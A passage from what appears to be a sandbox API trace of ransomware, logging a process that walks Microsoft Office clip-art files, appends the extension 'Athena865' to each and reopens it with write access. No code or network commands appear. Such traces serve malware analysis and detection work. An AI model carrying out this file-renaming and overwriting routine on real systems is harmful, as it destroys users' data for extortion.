office\\clipart\\pub60cor\\j0106124.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.025] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5812) returned 1 [0125.028] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0106146.WMF" | out: lpString1="J0106146.WMF") returned="J0106146.WMF" [0125.028] lstrlenW (lpString="J0106146.WMF") returned 12 [0125.028] lstrlenW (lpString="Athena865") returned 9 [0125.028] lstrcmpiW (lpString1="06146.WMF", lpString2="Athena865") returned -1 [0125.029] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.Athena865") returned 73 [0125.029] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.athena865"), dwFlags=0x1) returned 1 [0125.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.033] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23548) returned 1 [0125.044] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0106208.WMF" | out: lpString1="J0106208.WMF") returned="J0106208.WMF" [0125.044] lstrlenW (lpString="J0106208.WMF") returned 12 [0125.045] lstrlenW (lpString="Athena865") returned 9 [0125.046] lstrcmpiW (lpString1="06208.WMF", lpString2="Athena865") returned -1 [0125.047] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.Athena865") returned 73 [0125.047] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.athena865"), dwFlags=0x1) returned 1 [0125.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.055] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11900) returned 1 [0125.065] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0106222.WMF" | out: lpString1="J0106222.WMF") returned="J0106222.WMF" [0125.066] lstrlenW (lpString="J0106222.WMF") returned 12 [0125.066] lstrlenW (lpString="Athena865") returned 9 [0125.066] lstrcmpiW (lpString1="06222.WMF", lpString2="Athena865") returned -1 [0125.067] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.Athena865") returned 73 [0125.068] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.athena865"), dwFlags=0x1) returned 1 [0125.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.075] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19600) returned 1 [0125.083] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0106572.WMF" | out: lpString1="J0106572.WMF") returned="J0106572.WMF" [0125.083] lstrlenW (lpString="J0106572.WMF") returned 12 [0125.083] lstrlenW (lpString="Athena865") returned 9 [0125.083] lstrcmpiW (lpString1="06572.WMF", lpString2="Athena865") returned -1 [0125.083] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.Athena865") returned 73 [0125.083] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.athena865"), dwFlags=0x1) returned 1 [0125.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.085] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2148) returned 1 [0125.088] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0106816.WMF" | out: lpString1="J0106816.WMF") returned="J0106816.WMF" [0125.088] lstrlenW (lpString="J0106816.WMF") returned 12 [0125.088] lstrlenW (lpString="Athena865") returned 9 [0125.088] lstrcmpiW (lpString1="06816.WMF", lpString2="Athena865") returned -1 [0125.088] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.Athena865") returned 73 [0125.088] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.athena865"), dwFlags=0x1) returned 1 [0125.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.089] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3332) returned 1 [0125.096] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0106958.WMF" | out: lpString1="J0106958.WMF") returned="J0106958.WMF" [0125.096] lstrlenW (lpString="J0106958.WMF") returned 12 [0125.096] lstrlenW (lpString="Athena865") returned 9 [0125.096] lstrcmpiW (lpString1="06958.WMF", lpString2="Athena865") returned -1 [0125.096] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.Athena865") returned 73 [0125.096] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.athena865"), dwFlags=0x1) returned 1 [0125.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.101] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13784) returned 1 [0125.105] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107024.WMF" | out: lpString1="J0107024.WMF") returned="J0107024.WMF" [0125.105] lstrlenW (lpString="J0107024.WMF") returned 12 [0125.105] lstrlenW (lpString="Athena865") returned 9 [0125.105] lstrcmpiW (lpString1="07024.WMF", lpString2="Athena865") returned -1 [0125.105] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.Athena865") returned 73 [0125.105] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.athena865"), dwFlags=0x1) returned 1 [0125.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.110] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3020) returned 1 [0125.126] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107026.WMF" | out: lpString1="J0107026.WMF") returned="J0107026.WMF" [0125.127] lstrlenW (lpString="J0107026.WMF") returned 12 [0125.127] lstrlenW (lpString="Athena865") returned 9 [0125.127] lstrcmpiW (lpString1="07026.WMF", lpString2="Athena865") returned -1 [0125.127] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.Athena865") returned 73 [0125.127] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.athena865"), dwFlags=0x1) returned 1 [0125.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.129] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7632) returned 1 [0125.132] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107042.WMF" | out: lpString1="J0107042.WMF") returned="J0107042.WMF" [0125.132] lstrlenW (lpString="J0107042.WMF") returned 12 [0125.132] lstrlenW (lpString="Athena865") returned 9 [0125.132] lstrcmpiW (lpString1="07042.WMF", lpString2="Athena865") returned -1 [0125.132] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.Athena865") returned 73 [0125.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.athena865"), dwFlags=0x1) returned 1 [0125.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.134] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9048) returned 1 [0125.140] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107090.WMF" | out: lpString1="J0107090.WMF") returned="J0107090.WMF" [0125.140] lstrlenW (lpString="J0107090.WMF") returned 12 [0125.140] lstrlenW (lpString="Athena865") returned 9 [0125.140] lstrcmpiW (lpString1="07090.WMF", lpString2="Athena865") returned -1 [0125.140] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.Athena865") returned 73 [0125.141] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.athena865"), dwFlags=0x1) returned 1 [0125.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.142] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14132) returned 1 [0125.145] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107130.WMF" | out: lpString1="J0107130.WMF") returned="J0107130.WMF" [0125.145] lstrlenW (lpString="J0107130.WMF") returned 12 [0125.145] lstrlenW (lpString="Athena865") returned 9 [0125.145] lstrcmpiW (lpString1="07130.WMF", lpString2="Athena865") returned -1 [0125.145] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.Athena865") returned 73 [0125.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.athena865"), dwFlags=0x1) returned 1 [0125.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.147] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27084) returned 1 [0125.156] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107132.WMF" | out: lpString1="J0107132.WMF") returned="J0107132.WMF" [0125.157] lstrlenW (lpString="J0107132.WMF") returned 12 [0125.157] lstrlenW (lpString="Athena865") returned 9 [0125.158] lstrcmpiW (lpString1="07132.WMF", lpString2="Athena865") returned -1 [0125.158] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.Athena865") returned 73 [0125.158] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.athena865"), dwFlags=0x1) returned 1 [0125.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.162] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=48380) returned 1 [0125.176] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107134.WMF" | out: lpString1="J0107134.WMF") returned="J0107134.WMF" [0125.177] lstrlenW (lpString="J0107134.WMF") returned 12 [0125.178] lstrlenW (lpString="Athena865") returned 9 [0125.178] lstrcmpiW (lpString1="07134.WMF", lpString2="Athena865") returned -1 [0125.179] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.Athena865") returned 73 [0125.179] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.athena865"), dwFlags=0x1) returned 1 [0125.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.185] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=48388) returned 1 [0125.195] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107138.WMF" | out: lpString1="J0107138.WMF") returned="J0107138.WMF" [0125.195] lstrlenW (lpString="J0107138.WMF") returned 12 [0125.195] lstrlenW (lpString="Athena865") returned 9 [0125.195] lstrcmpiW (lpString1="07138.WMF", lpString2="Athena865") returned -1 [0125.195] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.Athena865") returned 73 [0125.195] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.athena865"), dwFlags=0x1) returned 1 [0125.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.201] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17200) returned 1 [0125.207] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107146.WMF" | out: lpString1="J0107146.WMF") returned="J0107146.WMF" [0125.208] lstrlenW (lpString="J0107146.WMF") returned 12 [0125.208] lstrlenW (lpString="Athena865") returned 9 [0125.208] lstrcmpiW (lpString1="07146.WMF", lpString2="Athena865") returned -1 [0125.208] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.Athena865") returned 73 [0125.208] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.athena865"), dwFlags=0x1) returned 1 [0125.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.214] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14996) returned 1 [0125.217] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107148.WMF" | out: lpString1="J0107148.WMF") returned="J0107148.WMF" [0125.217] lstrlenW (lpString="J0107148.WMF") returned 12 [0125.217] lstrlenW (lpString="Athena865") returned 9 [0125.217] lstrcmpiW (lpString1="07148.WMF", lpString2="Athena865") returned -1 [0125.217] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.Athena865") returned 73 [0125.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.athena865"), dwFlags=0x1) returned 1 [0125.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.222] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20136) returned 1 [0125.227] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107150.WMF" | out: lpString1="J0107150.WMF") returned="J0107150.WMF" [0125.227] lstrlenW (lpString="J0107150.WMF") returned 12 [0125.227] lstrlenW (lpString="Athena865") returned 9 [0125.227] lstrcmpiW (lpString1="07150.WMF", lpString2="Athena865") returned -1 [0125.227] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.Athena865") returned 73 [0125.227] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.athena865"), dwFlags=0x1) returned 1 [0125.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.235] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13456) returned 1 [0125.244] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107152.WMF" | out: lpString1="J0107152.WMF") returned="J0107152.WMF" [0125.244] lstrlenW (lpString="J0107152.WMF") returned 12 [0125.244] lstrlenW (lpString="Athena865") returned 9 [0125.244] lstrcmpiW (lpString1="07152.WMF", lpString2="Athena865") returned -1 [0125.244] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.Athena865") returned 73 [0125.244] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.athena865"), dwFlags=0x1) returned 1 [0125.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.245] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22532) returned 1 [0125.249] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107154.WMF" | out: lpString1="J0107154.WMF") returned="J0107154.WMF" [0125.249] lstrlenW (lpString="J0107154.WMF") returned 12 [0125.249] lstrlenW (lpString="Athena865") returned 9 [0125.249] lstrcmpiW (lpString1="07154.WMF", lpString2="Athena865") returned -1 [0125.249] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.Athena865") returned 73 [0125.249] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.athena865"), dwFlags=0x1) returned 1 [0125.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.251] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22300) returned 1 [0125.256] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107158.WMF" | out: lpString1="J0107158.WMF") returned="J0107158.WMF" [0125.256] lstrlenW (lpString="J0107158.WMF") returned 12 [0125.257] lstrlenW (lpString="Athena865") returned 9 [0125.257] lstrcmpiW (lpString1="07158.WMF", lpString2="Athena865") returned -1 [0125.257] 